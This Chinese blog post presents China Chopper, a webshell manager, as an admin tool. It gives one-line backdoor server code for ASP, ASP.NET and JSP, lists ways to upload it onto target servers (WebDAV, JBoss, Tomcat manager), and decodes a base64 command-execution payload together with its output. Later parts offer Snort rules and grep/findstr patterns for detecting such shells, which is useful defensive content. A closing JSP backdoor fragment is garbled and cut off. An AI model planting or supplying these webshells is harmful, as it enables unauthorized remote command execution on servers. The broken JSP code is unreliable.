溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

  中國(guó)菜刀使用方法以及小技巧

發(fā)布時(shí)間:2020-07-21 06:30:17 來(lái)源:網(wǎng)絡(luò) 閱讀:6296 作者:Snow狼 欄目:數(shù)據(jù)庫(kù)

相信大多數(shù)的站長(zhǎng)都用FTP來(lái)管理web空間,但是相對(duì)于菜刀來(lái)說(shuō)FTP簡(jiǎn)直弱到爆.就數(shù)據(jù)庫(kù)管理方面來(lái)說(shuō),phpmyadmin和帝國(guó)軟件只能管理mysql數(shù)據(jù)庫(kù),而且在軟件的體積上跟菜刀完全沒(méi)法比,如果精通SQL語(yǔ)法,何必還要PHPMYADMIN呢?而且中國(guó)菜刀以其特×××形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS,支持ADO方式連接的數(shù)據(jù)庫(kù)。

服務(wù)端:

       在服務(wù)端運(yùn)行的代碼如下:

PHP:

ASP: <%eval request(“pass”)%>

ASP.NET: <%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>

JSP<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>

(注意: ASP.NET要單獨(dú)一個(gè)文件或此文件也是Jscript語(yǔ)言)

叉叉之前在上傳漏洞演示,利用burpsuite抓包改包上傳最后講到用菜刀連接,看看是怎么實(shí)現(xiàn)的:

           在主視圖中右鍵/添加,在彈出的對(duì)話框中輸入服務(wù)端地址,連接的密碼(這個(gè)必須要),選擇正確的腳本類型和語(yǔ)言編碼,保存后即可使用文件管理,虛擬終端,數(shù)據(jù)庫(kù)管理三大塊功能。要是其它都沒(méi)錯(cuò)誤,那么可能就是你把語(yǔ)言編碼選錯(cuò)了.

1. 文件管理:緩存下載目錄,并支持離線查看緩存目錄,上傳下載修改文件

2. 虛擬終端:人性化的設(shè)計(jì),操作方便;(輸入HELP查看更多用法)

3. 數(shù)據(jù)庫(kù)管理:圖形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS支持ADO方式連接的數(shù)據(jù)庫(kù)。

(各種腳本條件下的數(shù)據(jù)庫(kù)連接方法請(qǐng)點(diǎn)擊數(shù)據(jù)庫(kù)管理界面左上角處的配置按鈕查看)

PHP腳本:

類型 類型可為MYSQL,MSSQL,ORACLE,INFOMIX中的一種

主機(jī)地址 主機(jī)地址可為機(jī)器名或IP地址,如localhost

數(shù)據(jù)庫(kù)用戶 連接數(shù)據(jù)庫(kù)的用戶名,如root

數(shù)據(jù)庫(kù)密碼

連接數(shù)據(jù)庫(kù)的密碼,如123455

ASPASP.NET腳本:

類型 類型只能填ADO

ADO配置信息

ADO連接各種數(shù)據(jù)庫(kù)的方式不一樣。如MSSQL的配置信息為

Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456

4. 網(wǎng)站蜘蛛功能:織出一張網(wǎng)站的目錄結(jié)構(gòu)。下載的列表文件存在桌面,右鍵菜單/載入URL列表即可以根據(jù)地址得到目錄結(jié)構(gòu)

 

 

 

中國(guó)菜刀上傳的機(jī)制:

                   通過(guò)WebDAV文件上傳

                   通過(guò)JBoss jmx-console 或者ApacheTomcat管理頁(yè)面上傳

                   遠(yuǎn)程代碼執(zhí)行下載

                   通過(guò)其他方式接入后傳輸

其***payload的編碼如下:

Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0luZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0luZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d75px9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

使用Fiddlertext wizard功能將其base64解碼為明文varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

上面這段代碼的意思是使用base64解碼存儲(chǔ)在z1、z2這兩個(gè)參數(shù)中的數(shù)據(jù)。接下來(lái)我們來(lái)查看z1z2對(duì)應(yīng)的值。

&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d75px9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

base64解碼參數(shù)對(duì)應(yīng)的值,如下所示:

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。該操作的意思就是執(zhí)行cmd命令,列出當(dāng)前用戶與當(dāng)前目錄,執(zhí)行結(jié)果如下所示:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-

now,我們知道中國(guó)菜刀的流量通信的特征,可以利用網(wǎng)絡(luò)或主機(jī)級(jí)別的防護(hù)軟件檢測(cè)這種惡意通信。

網(wǎng)絡(luò):

可以利用Snort編寫規(guī)則檢測(cè)中國(guó)菜刀的流量,能夠輕松的捕獲到異常數(shù)據(jù),Keith Tyler在他的博客中給出了一個(gè)基本的IDS規(guī)則:

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)

為了減少誤報(bào),我們將該段規(guī)則修改了下,只檢測(cè)數(shù)據(jù)包內(nèi)容中包含FromBase64String以及z1,如下:

 

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000101;)

以下規(guī)則更進(jìn)一步優(yōu)化,以下規(guī)則在數(shù)據(jù)包中查找FromBase64String,并且利用正則表達(dá)式匹配z后面任意一到三的數(shù)字組合,如Z1、Z10、Z100等。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000102;)

這些IDS特征都可以進(jìn)一步優(yōu)化,OK,我們了解了網(wǎng)絡(luò)層面如何檢測(cè)中國(guó)菜刀數(shù)據(jù)包,接下來(lái)介紹下如何通過(guò)主機(jī)級(jí)別的檢測(cè)發(fā)現(xiàn)該數(shù)據(jù)包。

主機(jī):

Linux上最快最簡(jiǎn)單的方法查找中國(guó)菜刀,可以利用egrep+正則表達(dá)式識(shí)別被感染的文件,如下:

egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php

egrep+正則表達(dá)式是一個(gè)強(qiáng)大的組合,國(guó)外安全研究者Ian Ahl編寫了一些正則表達(dá)式教程,如下:

regex basics

Using regex with Notepad

另外,Window提供了一種方法,通過(guò)findstr命令加上正則表達(dá)式搜索文件。如下:

可以看到在Windows上正則表達(dá)式與linux略有區(qū)別,如下:

 

findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正則表達(dá)式即可,如下:

egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx

findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx

如果你要查找一些隱藏的PHPASPX文件,可以使用dir命令來(lái),如下:

dir /S /A /B *.php

Findstr還可以搜索子目錄:

findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

 

 

記錄一下JSP幾種后門

以下是服務(wù)端,保存成one.jsp并上傳至目標(biāo)服務(wù)器中。

通過(guò)使用一句話***客戶端連接one.jsp***。

將下列代碼保存為html頁(yè)面:

JSP一句話***客戶端

專用JSP***連接器

服務(wù)端地址

保存完成后,打開(kāi)html頁(yè)面,寫入一句話***服務(wù)端地址,    例如http://shenwolf.wap.zhanqunabc.cn/ ,寫入需要的代碼和保存的文件名稱點(diǎn)擊保存即服務(wù)器,使用中國(guó)菜刀工具進(jìn)行連File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"rn");}br.close();}else OutputStreamWriter(new {KK(z1,z2);sb.append("1");}else

if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"

 

 


向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI